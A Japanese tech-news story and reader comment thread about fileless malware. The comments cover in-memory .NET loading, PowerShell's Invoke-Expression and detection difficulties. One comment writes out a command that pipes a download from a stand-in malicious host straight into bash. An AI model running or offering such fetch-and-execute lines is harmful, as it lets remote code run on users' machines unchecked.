パスワードを忘れた? アカウント作成
14099857 story
セキュリティ

不正なコードをファイルに書き込むことなく実行するマルウェアが増加傾向 27

ストーリー by hylom
高度化する手法 部門より

不正なコードをファイルに書き込むことなしに実行するようなマルウェアが近年増加傾向にあるという。こうしたマルウェアはその痕跡がファイルとしては残らないため、既存のセキュリティソフトでは検出が難しいそうだ(ITmedia)。

こういった攻撃手法は「ファイルレス攻撃」などと呼ばれており、プログラムの脆弱性を悪用して不正なコードを直接メモリ内に展開させて実行させたり、攻撃対象内にインストールされているPowerShellなどのツールを悪用することでその活動が検出されることを防ぐという。また、一時的にファイルを書き込むも、その後そのファイルを削除する、もしくはその内容を0で上書きするような挙動を行うのもあるという(McAfeeの「ファイルレス攻撃解説」ホワイトペーパー)。

PowerShellがよく悪用されるのは、メモリ上にダウンロードしたコードを直接実行する仕組みがサポートされているからだそうだ。また、多くの場合システムが再起動されるとこれらマルウェアは活動が止まるが、レジストリやファイルシステム以外のストレージを活用することで持続的に攻撃を行うものもあるという。なお、PowerShellが攻撃に悪用される可能性については以前より指摘されていた(ITmediaの2017年記事)。

この議論は賞味期限が切れたので、アーカイブ化されています。 新たにコメントを付けることはできません。
  • by hakikuma (47737) on 2020年01月30日 14時07分 (#3753405)
    ファイルレスでエロ画像やエロ動画が見られるのなら
    痕跡が残らないので安心だな。
  • by Anonymous Coward on 2020年01月30日 17時43分 (#3753544)

    セキュリティセクションに分類されて然るべき記事だと思うが

  • by Anonymous Coward on 2020年01月30日 14時27分 (#3753411)

    どういうことですかね?
    bash -c "echo foo" みたいな話?

    • by Anonymous Coward on 2020年01月30日 15時35分 (#3753454)

      PowerShellというより.NETの機能として、メモリ上の.NETモジュールのバイナリをロードできるので、それのことかな。

      本体のマルウェアをネットワークからダウンロードしてメモリ上に展開し、.NETランタイムにロードすることで、
      ディスクに書き込まずに悪意あるプログラムを実行できる。
      PowerShellは.NETランタイムで動作しているので、読み込まれたモジュールを直接呼び出せる。

      リンクされているMcFeeのホワイトペーパーによれば、
      「検知にファイルベースのアプローチをするほとんどのセキュリティソリューションは動作監視をしていたとしてもファイルレス攻撃を検知できない」
      とある。

      親コメント
      • by Anonymous Coward on 2020年01月30日 17時00分 (#3753509)

        これ System.Reflection.Assembly.LoadModule() [microsoft.com] ですね。.NETではバイト配列からアセンブリを読み込めるんですね。

        とはいえ、本体のダウンロード、読み込みを行うPowerShellスクリプトは必要になるので、検出するのはさほど難しくない気はしますが。
        PowerShellは難読化しやすいとも書いてあるけど、うーん、どうかな。

        親コメント
        • by Anonymous Coward

          マルウェアかどうか判定するのは簡単かな?
          すべて公開APIで可能な処理だし、「外部URLからダウンロードしたアセンブリを読み込むプログラム」というだけでマルウェア扱いはできない気がする。
          ダウンロード先のURLで判断するくらいだが、URLなんていくらでもばらけさせられるし、
          white paperにはこれを複数段階かませてるって書いてあるし、結構手ごわいのでは。

          • by Anonymous Coward

            >ダウンロード先のURLで判断するくらいだが
            ホワイトリストで対応するしかないでしょうね。
            開発者くらいでしょう、リストに追加する必要が生じるのは。

      • by Anonymous Coward

        .NETの機能に限らず、対話的にスクリプトを実行できる機能が提供されていれば、
        ダウンロードしたデータがテキストかバイナリかの違いはあれど、
        実現はできそうなきがする(Windows上で高機能な環境として
        Powershellが選ばれているってだけで)

        # 昔、話題になった遠隔操作と何が違うのだろう?

    • by Anonymous Coward

      Invoke-Expression(略して iex)というコマンドがあります。

      chocolateyというhomebrewのパクりの出来損ないのようなユーティリティのインストールでも使われており
      https://chocolatey.org/install [chocolatey.org]
      何となくニュアンスはつかめると思いますが、ネットからDLしたスクリプトをそのまま実行出来てしまうという
      凶悪な機能です。
      狂ってる。

      # WIndows/Microsoftにあまり関わらない人生を送れててよかった...w

      • by Anonymous Coward

        むしろその程度もできないモダンなOSって存在するの?

        • by Anonymous Coward
          いや別にモダンなOSじゃなくてもそんなネットから取得した文字列を何でもかんでもsystem(3)で実行できるようにはなってないだろ
          • by Anonymous Coward

            意味がわからん。具体的にどのOSのどのセキュリティ機構について言及してる?

          • by Anonymous Coward

            ふつーにできるっていうか、*nixではその狂気がむしろ推奨されてることも有るよね?

            PowerShellのは一般的に推奨されてる感は全く無いけれど(そもそも手打ちさせることが少ない)、
            「無暗号化httpにcurlした結果をbashにパイプするコマンドを推奨インストール手順にする」
            とかいう狂ったやり方は割と最近の*nuxで一般的な文化となっている印象なんだけど………?
            一般的じゃないけど出来なくもない、よりも、
            一般的な文化となっている、方が明らかにやばい。

        • by Anonymous Coward

          むしろこんな凶悪な機能をブロックする程度のセキュリティとか
          テラバイト級のメモリの対応とか
          モバイルOSとの連携とか
          「モダンOS」の最低限の要件だと思うんだ。

          Windowsは…すっかりレガシーに成り下がってしまって…

          • by Anonymous Coward on 2020年01月30日 18時53分 (#3753582)

            お、そうだな [qiita.com]
            # 散々問題視されてきた筈なのに未だにこんなTipsが世に出てくるザマでよく言えるな……
            ## 問題視だけで脆弱性扱いにならない理由は省略。そしてそれはbashでもPSでも共通である。

            親コメント
          • by Anonymous Coward

            > テラバイト級のメモリの対応とか

            さらりとMac Proをdisってて草。さてはオメーAppleアンチだな。

            Macでもようやく1T超のメモリを扱う環境が出て来たが(金さえ積めば)
            Linux/Winに比べてMacはX年遅れなんだよな。。ハードウェアの縛りのキツいエコシステムだから仕方ないが。。

      • by Anonymous Coward

        Invoke-ExpressionなんてPowerShell上のコマンド実行できる前提の危険性アピールなんか意味ないだろ。evalとか知らないの?
        そんなん使わなくてもpowershel.exeから直接PowerShellコマンドを送れる。

        そもそもマルウェアに実行権限握られてる時点でアウトだよ。PowerShellはマルウェアにとっても便利なツールってだけ。

        • by Anonymous Coward

          >そもそもマルウェアに実行権限握られてる時点でアウトだよ
          これなんだよなぁ
          怪しいプログラムを実行してる時点で負け確

      • by Anonymous Coward

        Invoke-Expression自体はネットからダウンロードしてないやんけ!
        Install-Packageをディスったほうがいいんじゃないでしょうか。

    • by Anonymous Coward

      curl -s http://waruisite.example.com/ [example.com] | bash -s の方が近そう。

    • by Anonymous Coward

      ホワイトペーパーの下記の部分が気になりますね。
      > 不正なコードを、OSやコモン ユーティリティに関係する
      > 一般的でない場所、例えばWindows レジストリ、WMIスト
      > ア、SQLテーブル、タスクスケジューラーなどに埋め込む

      例えばLAN内のマシンA,Bに穴があって仕込みが可能として、
      マシンBのレジストリに難読化したデータを仕込んで、
      マシンAの Enter-PSSession とかでマシンBのレジストリから
      読み込んで実行しちゃうとか。

    • by Anonymous Coward

      ある意味、ブラウザと同じ。必要なスクリプトやアセットを、いったんローカルに保存しなくてもいいでしょ(キャッシュしたりはするけど)。
      旧来のマルウェアは、いったんローカルディスクに保存して、それをロードするような設計のものが意外に多かった。
      だから、virustotal に投げてみよう、なんてことも、捕まえてしまえば簡単だった。

    • by Anonymous Coward
    • by Anonymous Coward

      実はUnicodeは犯罪 [togetter.com]みたいな話だったりして。

  • by Anonymous Coward on 2020年01月31日 1時06分 (#3753712)

    どうやってるか分かるかもね、OSの仮想メモリの扱い方とかの知識も必要だね、OSは奥が深いね

typodupeerror

あつくて寝られない時はhackしろ! 386BSD(98)はそうやってつくられましたよ? -- あるハッカー

読み込み中...